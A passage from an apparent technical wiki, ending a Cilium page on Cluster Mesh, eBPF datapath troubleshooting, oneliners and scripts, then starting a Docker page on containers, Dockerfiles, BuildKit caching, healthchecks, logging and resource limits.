LoadBalancer # deploys clustermesh-apiserver and certs cilium clustermesh enable --context melbourne --service-type LoadBalancer cilium clustermesh connect --context sydney --destination-context melbourne # exchanges CA and endpoints both ways cilium clustermesh status --context sydney --wait # every remote cluster "connected" cilium connectivity test --context sydney --multi-cluster melbourne # cross-cluster suite kubectl exec -n kube-system -- cilium-dbg troubleshoot clustermesh # per-node: DNS, TCP, TLS, etcd to each remote kubectl exec -n kube-system -- cilium-dbg status --verbose | sed -n '/ClusterMesh/,/^$/p' ``` A global Service exists with the same name and namespace in each cluster and carries annotations that control the spread: ```yaml apiVersion: v1 kind: Service metadata: name: my-app namespace: my-namespace annotations: service.cilium.io/global: "true" # merge backends from every cluster service.cilium.io/shared: "true" # default; "false" consumes remote backends without exporting local ones service.cilium.io/affinity: local # prefer local backends, fail over to remote; also "remote" or "none" spec: selector: { app: my-app } ports: [{ port: 80, targetPort: 8080 }] ``` `cilium-dbg service list --clustermesh-affinity` shows which backends are local and remote for each frontend. Cross-cluster policy uses the same `fromEndpoints` selectors plus `io.cilium.k8s.policy.cluster: melbourne` to restrict a rule to one cluster. Identities are namespace-scoped labels, so `app: web` in cluster A and `app: web` in cluster B share an identity unless you add the cluster label. Hubble flows carry `--cluster` and `--from-cluster` filters once Relay is configured with `hubble.relay` pointing at remote peers or you run `hubble observe` against each cluster. ## Datapath troubleshooting Work from the pod outwards. Each step reads the eBPF map the datapath actually consulted, so a mismatch between what Kubernetes says and what the map holds is the finding. ```sh POD=my-app-7c9d; NS=my-namespace NODE=$(kubectl get pod "$POD" -n "$NS" -o jsonpath='{.spec.nodeName}') AGENT=$(kubectl get pod -n kube-system -l k8s-app=cilium --field-selector spec.nodeName="$NODE" -o name) EP=$(kubectl exec -n kube-system "$AGENT" -- cilium-dbg endpoint list -o json | jq -r --arg p "$POD" '.[] | select(.status."external-identifiers"."k8s-pod-name"==$p) | .id') kubectl exec -n kube-system "$AGENT" -- cilium-dbg endpoint get "$EP" -o json | jq '.[0].status | {state, identity: .identity.id, policy: .policy.realized."policy-enabled", labels: .labels."security-relevant"}' kubectl exec -n kube-system "$AGENT" -- cilium-dbg bpf policy get "$EP" # the (identity, port, proto) allow map for this endpoint kubectl exec -n kube-system "$AGENT" -- cilium-dbg bpf ipcache get 10.244.3.17 # identity the datapath believes a remote IP has kubectl exec -n kube-system "$AGENT" -- cilium-dbg bpf endpoint list # local IP to endpoint mapping kubectl exec -n kube-system "$AGENT" -- cilium-dbg bpf tunnel list # remote pod CIDR to node IP (tunnel mode) kubectl exec -n kube-system "$AGENT" -- cilium-dbg bpf nat list | grep 10.244.3.17 # SNAT entries for masqueraded egress kubectl exec -n kube-system "$AGENT" -- cilium-dbg bpf ct list global | grep 10.244.3.17 # conntrack; flags show direction and state kubectl exec -n kube-system "$AGENT" -- cilium-dbg monitor -v --related-to "$EP" # every event touching this endpoint, with L4 detail kubectl exec -n kube-system "$AGENT" -- cilium-dbg bpf metrics list # datapath counters: drops and forwards by reason kubectl exec -n kube-system "$AGENT" -- cilium-dbg debuginfo > "$NODE-debuginfo.txt" # everything above in one file ``` `cilium-dbg monitor -v` prints the policy verdict with the source and destination identities, so a `Policy verdict log: ... action deny` for identity pair (12345, 67890) can be resolved with `cilium-dbg identity get 67890`. When the ipcache entry for a remote pod is missing, the packet is treated as `reserved:world` and dropped by any policy that only allows in-cluster identities; check that the remote node's `CiliumNode` object is present and that the agent on that node is healthy. For encapsulation problems, capture the tunnel on the node with `tcpdump -ni eth0 udp port 8472` (VXLAN) or `6081` (Geneve) and confirm packets leave and arrive, then confirm the underlay MTU with `ip link` (see [iproute2](https://www.wiki.jodisand.me/iproute2/)). `cilium-dbg bpf ct list` entries with `TxClosing`/`RxClosing` piling up on one destination point to a backend that stopped answering rather than a Cilium fault. For kernel-level packet tracing beyond what monitor shows, `pwru` (packet, where are you) from the Cilium project hooks every kernel function that handles an skb and shows exactly where a packet was dropped; run it on the node with `pwru --filter-dst-ip 10.244.3.17 --output-tuple`. ## Troubleshooting ```sh cilium status --wait cilium connectivity test # full suite in namespace cilium-test-1 kubectl exec -n kube-system -- cilium-dbg monitor --type drop --type policy-verdict kubectl exec -n kube-system -- cilium-dbg map list --verbose kubectl logs -n kube-system -c cilium-agent --previous | tail -50 # why the agent restarted cilium sysdump # zip of logs, maps and policies for a bug report ``` | Symptom | Likely cause | Check | | --- | --- | --- | | Pods cannot resolve names | DNS egress not allowed, or CoreDNS has no endpoints | `hubble observe --protocol dns`, then [DNS](https://www.wiki.jodisand.me/dns/#a-name-that-will-not-resolve) | | Small requests work, large transfers stall between nodes | MTU: tunnel overhead exceeds the underlay MTU | `kubectl exec my-app-7c9d -- cat /sys/class/net/eth0/mtu` against the node's NIC MTU | | Service IP unreachable | No backends, or kube-proxy replacement not active | `cilium-dbg service list`, then EndpointSlice readiness | | Policy has no effect | Selector labels do not match, or enforcement disabled on the endpoint | `cilium-dbg endpoint list` labels and `POLICY (ingress) ENFORCEMENT` columns | | `toFQDNs` rule blocks traffic | DNS rule missing, or the client cached the answer before the policy | `cilium-dbg fqdn cache list`, `hubble observe --protocol dns` | | Traffic allowed that should be denied | A broader clusterwide policy or an entity rule (`world`, `all`) | `kubectl get ccnp`, `cilium-dbg policy get` | | Agent crash-loops | Missing kernel features, or a config change the agent rejects | `kubectl logs --previous -c cilium-agent`, `cilium-dbg status --verbose` | | Pods stuck `ContainerCreating` | IPAM exhausted or agent not ready on the node | `kubectl describe pod`, IPAM line of `cilium-dbg status` | | L7 policy returns 403 but Hubble shows no `POLICY_DENIED` | Envoy rejected at L7; the packet was allowed at L4 | `hubble observe --type l7 --http-status 403`, `cilium-dbg policy get` for the http rules | | Latency jumps after adding a policy | `toPorts.rules` turned the port into an L7 redirect through Envoy | `cilium-dbg endpoint get -o json \| jq '.[0].status.policy.realized.l4'` for proxy ports, `cilium-dbg status \| grep Proxy` | | Remote pod treated as `reserved:world` | ipcache has no entry: remote agent unhealthy or CiliumNode missing | `cilium-dbg bpf ipcache get `, `kubectl get ciliumnode`, `cilium status` | | Cluster Mesh shows `connected` but global Service has no remote backends | Service not annotated global in both clusters, or names differ | `cilium-dbg service list --clustermesh-affinity`, annotations on both Services | | `cilium clustermesh connect` hangs | clustermesh-apiserver LoadBalancer has no address, or port 2379 blocked between clusters | `kubectl get svc -n kube-system clustermesh-apiserver`, `cilium-dbg troubleshoot clustermesh` | | Source IP lost on LoadBalancer traffic | SNAT mode with backend on another node | `cilium-dbg status \| grep -i 'loadbalancer'`, consider `loadBalancer.mode=dsr` or `externalTrafficPolicy: Local` | | Drops with `CT_MAP_INSERTION_FAILED` under load | Conntrack map full | `cilium-dbg bpf ct list global \| wc -l` against `cilium-dbg map list` max entries | | Hubble `--last` returns almost nothing | Ring buffer (4095 flows) overrun on a busy node | Raise `hubble.eventBufferCapacity`, use Hubble metrics for rates | For link, route and neighbour checks on the node itself, see [iproute2](https://www.wiki.jodisand.me/iproute2/#a-connectivity-problem). ## Oneliners ```sh # Identity, namespace and pod for every endpoint on one node kubectl exec -n kube-system -- cilium-dbg endpoint list -o json | jq -r '.[] | [.status.identity.id, .status."external-identifiers"."k8s-namespace", .status."external-identifiers"."k8s-pod-name"] | @tsv' # Agents that are not Running kubectl get pods -n kube-system -l k8s-app=cilium -o wide | grep -v Running # Drops per source pod in the recent buffer hubble observe --verdict DROPPED --last 500 -o json | jq -r '.flow.source.pod_name // "unknown"' | sort | uniq -c | sort -rn # Top talkers by flow count hubble observe --last 1000 -o json | jq -r '.flow | [.source.pod_name, .destination.pod_name] | @tsv' | sort | uniq -c | sort -rn | head # Confirm a Service has backends in the datapath (use your ClusterIP) kubectl exec -n kube-system -- cilium-dbg service list | grep -A2 10.96.0.10 # FQDN to IP mappings learned by the DNS proxy kubectl exec -n kube-system -- cilium-dbg fqdn cache list | head -20 # Compare policy revision across agents (should converge to the same number) kubectl get pods -n kube-system -l k8s-app=cilium -o name | xargs -I{} sh -c 'printf "%s " {}; kubectl exec -n kube-system {} -c cilium-agent -- cilium-dbg policy get -o json | jq .revision' # Remove connectivity test namespaces and workloads cilium connectivity test --cleanup # Agent pod on the node that runs a given pod kubectl get pod -n kube-system -l k8s-app=cilium --field-selector spec.nodeName="$(kubectl get pod my-app-7c9d -n my-namespace -o jsonpath='{.spec.nodeName}')" -o name # Endpoint ID for a pod, then its realised policy EP=$(kubectl exec -n kube-system -- cilium-dbg endpoint list -o json | jq -r '.[] | select(.status."external-identifiers"."k8s-pod-name"=="my-app-7c9d") | .id'); kubectl exec -n kube-system -- cilium-dbg bpf policy get "$EP" # Resolve a numeric identity seen in a verdict to labels kubectl exec -n kube-system -- cilium-dbg identity get 16777217 # Endpoints on this node with policy enforcement disabled in either direction kubectl exec -n kube-system -- cilium-dbg endpoint list -o json | jq -r '.[] | select(.status.policy.realized."policy-enabled" != "both") | "\(.id)\t\(.status.policy.realized."policy-enabled")\t\(.status."external-identifiers"."k8s-namespace")/\(.status."external-identifiers"."k8s-pod-name")"' # Endpoints not in the ready state on this node kubectl exec -n kube-system -- cilium-dbg endpoint list -o json | jq -r '.[] | select(.status.state != "ready") | "\(.id) \(.status.state)"' # Namespaces with no CiliumNetworkPolicy at all comm -23 <(kubectl get ns -o name | cut -d/ -f2 | sort) <(kubectl get cnp -A -o jsonpath='{.items[*].metadata.namespace}' | tr ' ' '\n' | sort -u) # Policies whose endpointSelector matches nothing (candidates for typos) kubectl get cnp -A -o json | jq -r '.items[] | .metadata.namespace as $ns | "\($ns) \(.metadata.name) " + ((.spec.endpointSelector.matchLabels // {}) | to_entries | map("\(.key)=\(.value)") | join(","))' | while read -r ns name sel; do [ -z "$sel" ] || [ "$(kubectl get pod -n "$ns" -l "$sel" --no-headers 2>/dev/null | wc -l)" -gt 0 ] || echo "$ns/$name selects no pods"; done # Drop reasons in the last five minutes, counted hubble observe --verdict DROPPED --since 5m -o json | jq -r .flow.drop_reason_desc | sort | uniq -c | sort -rn # Identity pairs being denied, resolved to pod labels hubble observe --type policy-verdict --verdict DROPPED --since 2m -o json | jq -r '.flow | "\(.source.namespace // "world")/\(.source.pod_name // .source.identity) -> \(.destination.namespace // "world")/\(.destination.pod_name // .destination.identity):\(.l4.TCP.destination_port // .l4.UDP.destination_port)"' | sort | uniq -c | sort -rn # HTTP 5xx seen by Envoy L7 policy, by destination hubble observe --type l7 --http-status 5xx --since 5m -o json | jq -r '.flow | "\(.destination.pod_name) \(.l7.http.code) \(.l7.http.method) \(.l7.http.url)"' | sort | uniq -c | sort -rn | head # DNS queries a pod made in the last minute hubble observe --from-pod my-namespace/my-app --protocol dns --since 1m -o json | jq -r 'select(.flow.l7.type=="REQUEST") | .flow.l7.dns.query' | sort | uniq -c # Flows from outside the cluster into a namespace hubble observe --from-label reserved:world --to-namespace my-namespace --since 5m -o compact # Datapath drop counters on one node, non-zero only kubectl exec -n kube-system -- cilium-dbg bpf metrics list | awk 'NR==1 || ($3+0 > 0 && $1 ~ /Drop|drop/)' # Conntrack table usage on one node kubectl exec -n kube-system -- sh -c 'cilium-dbg bpf ct list global | wc -l; cilium-dbg map list | grep -E "ct4_global|ct_any4_global"' # Identity the datapath assigns to a remote IP kubectl exec -n kube-system -- cilium-dbg bpf ipcache get 10.244.3.17 # Nodes as seen by this agent (tunnel endpoints and health) kubectl exec -n kube-system -- cilium-dbg node list # Cluster-wide health probe matrix from one agent (node and endpoint reachability) kubectl exec -n kube-system -- cilium-health status --probe # Every Service frontend without a backend kubectl exec -n kube-system -- cilium-dbg service list -o json | jq -r '.[] | select((.status.realized["backend-addresses"] // []) | length == 0) | .status.realized["frontend-address"] | "\(.ip):\(.port)"' # FQDN policy: names with no cached IPs (rule will block until resolved through the proxy) kubectl exec -n kube-system -- cilium-dbg fqdn cache list -o json | jq -r '.[] | select((.ips // []) | length == 0) | .fqdn' # Effective Helm values on the running installation helm get values cilium -n kube-system # Cilium version per agent (catches a half-finished upgrade) kubectl get pods -n kube-system -l k8s-app=cilium -o jsonpath='{range .items[*]}{.spec.nodeName}{"\t"}{.spec.containers[?(@.name=="cilium-agent")].image}{"\n"}{end}' | sort -k2 | uniq -c -f1 # Cluster Mesh: connection state to every remote cluster from one agent kubectl exec -n kube-system -- cilium-dbg status --verbose | sed -n '/ClusterMesh/,/^[A-Z]/p' # Global Services and their affinity settings kubectl get svc -A -o json | jq -r '.items[] | select(.metadata.annotations["service.cilium.io/global"]=="true") | "\(.metadata.namespace)/\(.metadata.name)\tshared=\(.metadata.annotations["service.cilium.io/shared"] // "true")\taffinity=\(.metadata.annotations["service.cilium.io/affinity"] // "none")"' # Put an endpoint into policy audit mode (logs verdicts, enforces nothing) and watch kubectl exec -n kube-system -- cilium-dbg endpoint config "$EP" PolicyAuditMode=Enabled && kubectl exec -n kube-system -- cilium-dbg monitor -t policy-verdict --related-to "$EP" ``` ## Scripts Report, for every node, agent readiness, endpoint counts, IPAM headroom and datapath drops, so a single unhealthy node stands out before it pages you. ```sh #!/usr/bin/env bash # cilium-node-report.sh: per-node agent health, endpoints, IPAM usage and drop counters set -euo pipefail printf '%-40s %-8s %-6s %-14s %-10s %s\n' NODE READY EPS IPAM_USED/MAX DROPS WARNINGS kubectl get pods -n kube-system -l k8s-app=cilium -o json \ | jq -r '.items[] | "\(.spec.nodeName) \(.metadata.name) \(.status.containerStatuses[] | select(.name=="cilium-agent") | .ready)"' \ | while read -r node pod ready; do if [ "$ready" != true ]; then printf '%-40s %-8s\n' "$node" NOTREADY; continue; fi status=$(kubectl exec -n kube-system "$pod" -c cilium-agent -- cilium-dbg status -o json 2>/dev/null) || { printf '%-40s %-8s\n' "$node" EXEC-FAIL; continue; } eps=$(kubectl exec -n kube-system "$pod" -c cilium-agent -- cilium-dbg endpoint list -o json | jq 'length') ipam=$(jq -r '.ipam | "\(.allocations | length)/\(((.ipv4 // []) | length) + (.allocations | length))"' <<<"$status") # used / (used + free) drops=$(kubectl exec -n kube-system "$pod" -c cilium-agent -- cilium-dbg bpf metrics list -o json | jq '[.[] | select(.reason | test("Policy|Stale|Unsupported|Invalid")) | .packets] | add // 0') warn=$(jq -r '[.controllers[]? | select(.status["consecutive-failure-count"] > 0) | .name] | join(",")' <<<"$status") printf '%-40s %-8s %-6s %-14s %-10s %s\n' "$node" ok "$eps" "$ipam" "$drops" "${warn:--}" done ``` Audit a namespace before enabling default deny: collect the identity pairs and ports actually in use over a window, and emit a CiliumNetworkPolicy skeleton that allows exactly those flows for review. ```python #!/usr/bin/env python3 """Generate a CiliumNetworkPolicy allow-list from observed Hubble flows. Usage: hubble observe --to-namespace my-namespace --since 30m -o json | ./flows-to-policy.py my-namespace my-app > policy.yaml Review the output before applying; it reflects what happened, not what should be allowed. """ import json import sys from collections import defaultdict import yaml ns, app = sys.argv[1], sys.argv[2] pairs: dict[tuple, set] = defaultdict(set) for line in sys.stdin: flow = json.loads(line).get("flow", {}) dst = flow.get("destination", {}) if dst.get("namespace") != ns or not any(l == f"k8s:app={app}" for l in dst.get("labels", [])): continue if flow.get("verdict") not in ("FORWARDED", "DROPPED"): continue src = flow.get("source", {}) src_labels = tuple(sorted(l for l in src.get("labels", []) if l.startswith("k8s:app=") or l.startswith("k8s:io.kubernetes.pod.namespace=") or l.startswith("reserved:"))) l4 = flow.get("l4", {}) for proto in ("TCP", "UDP"): if proto in l4: pairs[src_labels].add((str(l4[proto]["destination_port"]), proto)) ingress = [] for labels, ports in sorted(pairs.items()): if any(l.startswith("reserved:") for l in labels): ingress.append({"fromEntities": [l.split(":", 1)[1] for l in labels], "toPorts": [{"ports": [{"port": p, "protocol": pr} for p, pr in sorted(ports)]}]}) continue match = {l.split("=", 1)[0]: l.split("=", 1)[1] for l in labels} ingress.append({"fromEndpoints": [{"matchLabels": match}], "toPorts": [{"ports": [{"port": p, "protocol": pr} for p, pr in sorted(ports)]}]}) policy = {"apiVersion": "cilium.io/v2", "kind": "CiliumNetworkPolicy", "metadata": {"name": f"{app}-observed", "namespace": ns}, "spec": {"endpointSelector": {"matchLabels": {"app": app}}, "ingress": ingress}} yaml.safe_dump(policy, sys.stdout, sort_keys=False) ``` Upstream reference: [Cilium documentation](https://docs.cilium.io/en/stable/), [troubleshooting guide](https://docs.cilium.io/en/stable/operations/troubleshooting/). --- # Docker > Run, build, inspect and clean up containers, images, volumes and networks on a single Docker daemon, and diagnose containers that exit or cannot connect. Canonical: https://www.wiki.jodisand.me/docker/ Reviewed: 2026-09-24 Related: [Docker Compose](https://www.wiki.jodisand.me/docker-compose/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Linux performance](https://www.wiki.jodisand.me/linux-performance/index.md), [iproute2](https://www.wiki.jodisand.me/iproute2/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Which daemon the CLI talks to | `docker context show` | | All containers, including stopped | `docker ps -a` | | Last 100 log lines, then follow | `docker logs -f --tail 100 my-app` | | Shell inside a running container | `docker exec -it my-app sh` | | Throwaway container, removed on exit | `docker run --rm -it alpine:3.24 sh` | | Publish a port on localhost only | `docker run -p 127.0.0.1:8080:80 nginx:1.30-alpine` | | Why it exited | `docker inspect -f '{{.State.ExitCode}} {{.State.OOMKilled}} {{.State.Error}}' my-app` | | Disk used by images, containers, volumes, cache | `docker system df` | | Resolve a name from inside a container | `docker exec my-app getent hosts db` | | Copy a file out of a container | `docker cp my-app:/app/config.yaml .` | | Build and tag an image | `docker build -t my-app:1.0 .` | | Layer sizes of an image | `docker history my-app:1.0` | For multi-service stacks defined in a file, see [Docker Compose](https://www.wiki.jodisand.me/docker-compose/). For the same concepts under an orchestrator, see [Kubernetes](https://www.wiki.jodisand.me/kubernetes/). ## Start with a container problem A container is an ordinary Linux process with namespaces (its own view of PIDs, network, mounts) and cgroups (resource limits) applied. It stops when its PID 1 exits, so a "crashed" container is almost always a process that returned or was killed, not Docker losing it. ```sh docker context show # which daemon the CLI targets (local socket, remote host, Desktop VM) docker ps -a # status, exit code, published ports docker logs --tail 100 my-app # stdout/stderr of PID 1 only docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.OOMKilled}}' my-app ``` ```text exited 137 true ``` | Symptom | Cause to check first | | --- | --- | | `Exited (0)` immediately | The command finished. `CMD` runs a one-shot command or a daemon that forks into the background | | `Exited (137)` | SIGKILL. `OOMKilled: true` means the memory limit, otherwise `docker kill` or `docker stop` timing out | | `Exited (143)` | SIGTERM handled and the process exited, usually a normal `docker stop` | | `Exited (1)` with empty logs | The application logs to a file inside the container, not stdout | | Restarting in a loop | Crash on start; `docker logs` shows each attempt. Restart policies back off, they do not stop | | Port published but connection refused | Process bound to `127.0.0.1` inside the container instead of `0.0.0.0` | | Container name does not resolve | Containers are on different networks, or on the default `bridge` network, which has no DNS | | Data gone after `docker rm` | Writes went to the container layer, not a volume or bind mount | | `permission denied` on a bind mount | Host UID/GID or SELinux label. On Fedora/RHEL add `:Z` (private) or `:z` (shared) to relabel | ## Containers `docker run` is `create` plus `start`. Flags that shape the sandbox (network, mounts, user, capabilities) are fixed at create time, so changing them means removing and recreating the container. Resource limits and restart policy are the exception: `docker update` changes them in place. ```sh docker run -d --name my-app \ -p 127.0.0.1:8080:80 \ -e DB_HOST=db \ -v my-data:/app/data \ --memory 512m --cpus 1.5 \ --restart unless-stopped \ nginx:1.30-alpine docker stop my-app # SIGTERM to PID 1, SIGKILL after 10 s docker stop -t 30 my-app # allow 30 s to drain docker start my-app # same filesystem and config, new process docker rm -f my-app # kill and remove; the container layer is lost docker update --memory 1g --restart on-failure:5 my-app ``` | Flag | Effect | | --- | --- | | `-p 8080:80` | Host port 8080 on every interface to container port 80 | | `-p 127.0.0.1:8080:80` | Same, reachable only from the host | | `--network my-net` | Join a user-defined network, which gives DNS by container name | | `--restart unless-stopped` | Restart whenever it exits, and after a daemon restart, unless someone stopped it | | `--restart on-failure:5` | Restart only on non-zero exit, at most 5 times; not after a daemon restart | | `--user 10001:10001` | Run as that UID/GID, overriding the image's `USER` | | `--read-only --tmpfs /tmp` | Read-only root filesystem with a writable scratch directory | | `--cap-drop ALL --cap-add NET_BIND_SERVICE` | Drop every capability, add back only what the process needs | | `--init` | Run a minimal init as PID 1 that forwards signals and reaps zombies | A restart policy only takes effect after the container has run for at least 10 seconds, which stops a container that fails at start from spinning tightly. See [restart policies](https://docs.docker.com/engine/containers/start-containers-automatically/). ## Images and layers An image is an ordered stack of read-only layers plus a config (entrypoint, env, user). A running container adds one writable copy-on-write layer on top. Each Dockerfile instruction that changes the filesystem adds a layer, and the build cache reuses a layer only while its instruction and inputs are unchanged, so instruction order decides rebuild time. ```sh docker pull nginx:1.30-alpine docker image ls docker history my-app:1.0 # per-layer size and the instruction that made it docker image inspect -f '{{.Config.Entrypoint}} {{.Config.Cmd}} {{.Config.User}}' my-app:1.0 docker tag my-app:1.0 registry.example.com/my-app:1.0 docker push registry.example.com/my-app:1.0 docker buildx imagetools inspect nginx:1.30-alpine # digest and platforms without pulling ``` A tag is a mutable pointer. Pull by digest (`nginx@sha256:`) when a deployment must be reproducible. ## Dockerfile Put instructions that rarely change first and those that change every commit last, so dependency layers stay cached. Copying the dependency manifest before the source (`COPY go.mod go.sum ./` then `COPY . .`) is the main technique. ```dockerfile FROM golang:1.26-alpine AS build WORKDIR /src COPY go.mod go.sum ./ RUN go mod download # cached until the manifests change COPY . . RUN CGO_ENABLED=0 go build -trimpath -o /out/server . FROM alpine:3.24 RUN apk add --no-cache ca-certificates && adduser -S -u 10001 app COPY --from=build /out/server /usr/local/bin/server USER app EXPOSE 8080 HEALTHCHECK --interval=30s --timeout=3s --retries=3 CMD wget -qO- http://127.0.0.1:8080/health || exit 1 ENTRYPOINT ["server"] CMD ["--port", "8080"] ``` | Instruction | Behaviour | | --- | --- | | `ENTRYPOINT` vs `CMD` | `ENTRYPOINT` is the executable; `CMD` supplies default arguments, replaced by anything after the image name in `docker run` | | Exec form `["x", "y"]` | No shell. The process is PID 1 and receives SIGTERM directly | | Shell form `x y` | Wrapped in `/bin/sh -c`, so the shell is PID 1 and may not forward signals; `docker stop` then waits out the timeout | | `EXPOSE` | Metadata only; it publishes nothing | | `ARG` vs `ENV` | `ARG` exists during the build; `ENV` persists into the running container | | `RUN apt-get update && apt-get install -y ...` | Keep both in one `RUN`, or a cached `update` layer feeds stale indexes to a later `install` | | `COPY --from=build` | Copies artefacts out of an earlier stage and leaves the toolchain behind | | `.dockerignore` | Excludes files from the build context; without it `.git` and local secrets are sent to the builder | > [!WARNING] Build arguments are not secret > Values passed through `ARG` or `ENV` are readable in the image history and config. Use a BuildKit secret mount, which is never written to a layer: > `RUN --mount=type=secret,id=npm_token NPM_TOKEN="$(cat /run/secrets/npm_token)" npm ci` with `docker build --secret id=npm_token,env=NPM_TOKEN .` ## Multi-stage builds Each `FROM` starts a stage. Only the last stage (or the one named with `--target`) becomes the image; earlier stages exist to produce files that later stages `COPY --from`. BuildKit builds stages in parallel where dependencies allow and skips stages nothing consumes, so a Dockerfile can carry a `test` or `lint` stage that costs nothing in a normal build. ```dockerfile # syntax=docker/dockerfile:1 FROM --platform=$BUILDPLATFORM golang:1.26-alpine AS base # run the compiler on the build host's architecture WORKDIR /src COPY go.mod go.sum ./ RUN go mod download FROM base AS test COPY . . RUN go vet ./... && go test ./... FROM base AS build ARG TARGETOS TARGETARCH # set automatically by buildx per platform COPY . . RUN CGO_ENABLED=0 GOOS=$TARGETOS GOARCH=$TARGETARCH go build -trimpath -ldflags='-s -w' -o /out/server . FROM gcr.io/distroless/static-debian12:nonroot AS runtime COPY --from=build --chown=nonroot:nonroot /out/server /server ENTRYPOINT ["/server"] FROM runtime AS debug # same binary plus a shell, for docker exec COPY --from=busybox:1.37-uclibc /bin/busybox /bin/busybox ``` ```sh docker build --target test . # run the tests stage only; fails the build on failure docker build --target debug -t my-app:debug . # image with a shell docker build -t my-app:1.0 . # last stage: runtime docker build --build-arg GOFLAGS=-mod=vendor . # ARG values; unset ARGs take the Dockerfile default docker buildx build --platform linux/amd64,linux/arm64 -t my-app:1.0 --push . # cross-compile without QEMU thanks to $BUILDPLATFORM docker build --no-cache-filter build . # rebuild one stage, keep the cache for the others docker build --progress=plain . 2>&1 | tail -50 # full RUN output instead of the collapsed view ``` `COPY --from` also accepts an image name, which is how a single binary from another image (a CLI, a CA bundle, `busybox`) gets into a distroless runtime. `COPY --link` copies into an independent layer that does not depend on earlier ones, so a base image update does not invalidate it; `COPY --chmod=755` sets permissions without a separate `RUN chmod`, which would duplicate the file into another layer. `ADD --checksum=sha256:... https://...` verifies a download. ## BuildKit cache mounts The layer cache is all-or-nothing per instruction: a change to `go.sum` reruns `go mod download` from scratch. A cache mount is a persistent directory attached to a `RUN` only for its duration; it is never part of the image, survives across builds on the same builder, and makes package managers incremental. ```dockerfile # syntax=docker/dockerfile:1 RUN --mount=type=cache,target=/go/pkg/mod \ --mount=type=cache,target=/root/.cache/go-build \ go build -o /out/server . RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ --mount=type=cache,target=/var/lib/apt,sharing=locked \ apt-get update && apt-get install -y --no-install-recommends ca-certificates RUN --mount=type=cache,target=/root/.npm npm ci --prefer-offline RUN --mount=type=cache,target=/root/.cache/pip pip install -r requirements.txt # do not use --no-cache-dir with a cache mount RUN --mount=type=cache,target=/root/.cache/uv,uid=10001 uv sync --frozen # uid for a non-root build user RUN --mount=type=bind,source=go.sum,target=go.sum,readonly go mod verify # file from the context without a COPY layer RUN --mount=type=ssh git clone git@git.example.com:org/private.git # with: docker build --ssh default . RUN --mount=type=secret,id=netrc,target=/root/.netrc curl -fsS https://internal.example.com/artifact ``` `sharing=shared` (default) lets parallel builds write to the same cache concurrently, `locked` serialises them (required for `apt` and `dpkg`), `private` gives each build its own copy. `id=` names a cache independently of `target` when two paths should share one. Cache mounts live in the builder's storage, so they are lost by `docker builder prune` and do not exist on a fresh CI runner; export the layer cache for that. ```sh docker buildx build --cache-to type=registry,ref=registry.example.com/my-app:buildcache,mode=max \ --cache-from type=registry,ref=registry.example.com/my-app:buildcache -t my-app:1.0 --push . docker buildx build --cache-to type=gha,mode=max --cache-from type=gha . # GitHub Actions cache backend docker buildx build --cache-to type=local,dest=/var/cache/buildkit --cache-from type=local,src=/var/cache/buildkit . docker buildx build --output type=local,dest=./out --target build . # export files instead of an image docker buildx du && docker buildx prune --keep-storage 10GB # what the builder holds ``` `mode=max` exports the cache for every stage, not only the layers in the final image; without it intermediate stages are rebuilt on the next runner. Layer cache from a registry does not restore cache mounts; a `--mount=type=cache` in CI helps only when the runner's builder persists between jobs. ## Healthchecks A healthcheck runs a command inside the container on an interval and sets `.State.Health.Status` to `starting`, `healthy` or `unhealthy`. Docker itself only records the status; Compose (`depends_on: condition: service_healthy`, `up --wait`), Swarm and external tools act on it. A container that is `unhealthy` is not restarted by the daemon. ```dockerfile HEALTHCHECK --interval=30s --timeout=5s --start-period=40s --start-interval=5s --retries=3 \ CMD ["/server", "healthcheck"] # exec form: no shell needed in the image; exit 0 healthy, 1 unhealthy HEALTHCHECK NONE # disable one inherited from the base image ``` ```sh docker run -d --health-cmd 'curl -fsS http://127.0.0.1:8080/health || exit 1' --health-interval 10s --health-retries 3 --health-start-period 30s my-app docker run -d --no-healthcheck my-app # ignore the image's HEALTHCHECK docker inspect -f '{{.State.Health.Status}}' my-app docker inspect -f '{{range .State.Health.Log}}{{.End}} {{.ExitCode}} {{.Output}}{{end}}' my-app # last five results with output docker ps --filter health=unhealthy docker events --filter event=health_status # health_status: healthy / unhealthy transitions ``` `start-period` suppresses failures while the application boots but a success inside it flips the status to `healthy` immediately; `start-interval` (Engine 25+) probes faster during that window. Only exit codes 0 and 1 are meaningful; `2` is reserved. Distroless images have no `curl` or `wget`, so give the binary a health subcommand or copy a static probe such as `grpc-health-probe`. Keep the check cheap: it runs forever, and a check that hits the database turns a database blip into a fleet of unhealthy frontends. ## Logging drivers The daemon captures PID 1's stdout and stderr through a logging driver chosen per container. `json-file` is the default and the only one, with `local`, that `docker logs` can read without extra configuration; the others ship logs away and `docker logs` fails unless dual logging (Engine 20.10+) caches a copy. | Driver | Where the logs go | Notes | | --- | --- | --- | | `json-file` | `/var/lib/docker/containers//-json.log` | No rotation unless `max-size` is set | | `local` | Same directory, compressed, rotated by default (100 MB total) | Preferred default for new hosts | | `journald` | The host journal, with `CONTAINER_NAME`, `CONTAINER_ID` fields | `journalctl CONTAINER_NAME=my-app -f`; rotation handled by journald | | `syslog`, `fluentd`, `gelf`, `awslogs`, `splunk` | A remote collector | `docker logs` works only with dual logging | | `none` | Discarded | For chatty containers whose logs are collected another way | ```sh docker run -d --log-driver local --log-opt max-size=20m --log-opt max-file=5 my-app docker run -d --log-driver journald --log-opt tag='{{.Name}}' my-app docker run -d --log-opt mode=non-blocking --log-opt max-buffer-size=4m my-app # drop logs rather than block the app if the driver stalls docker inspect -f '{{.HostConfig.LogConfig.Type}} {{.HostConfig.LogConfig.Config}}' my-app docker inspect -f '{{.LogPath}}' my-app # the file json-file or local writes sudo du -sh /var/lib/docker/containers/*/*-json.log | sort -h | tail # who is filling the disk ``` Set the default for every new container in `/etc/docker/daemon.json` and restart the daemon; existing containers keep the driver they were created with until recreated. ```json { "log-driver": "local", "log-opts": { "max-size": "20m", "max-file": "5" } } ``` Applications that write to files inside the container are invisible to all of this. Point them at `/dev/stdout` and `/dev/stderr` (the nginx image symlinks its log files there) or a shared volume with a sidecar tailer. ## Resource limits Limits are cgroup settings applied to the container's cgroup, visible under `/sys/fs/cgroup/system.slice/docker-.scope/` on a systemd host. Without them a container can consume the whole machine; with a memory limit and no swap accounting, exceeding it is an OOM kill (`OOMKilled: true`, exit 137). ```sh docker run -d --memory 512m --memory-swap 512m my-app # hard limit, no swap 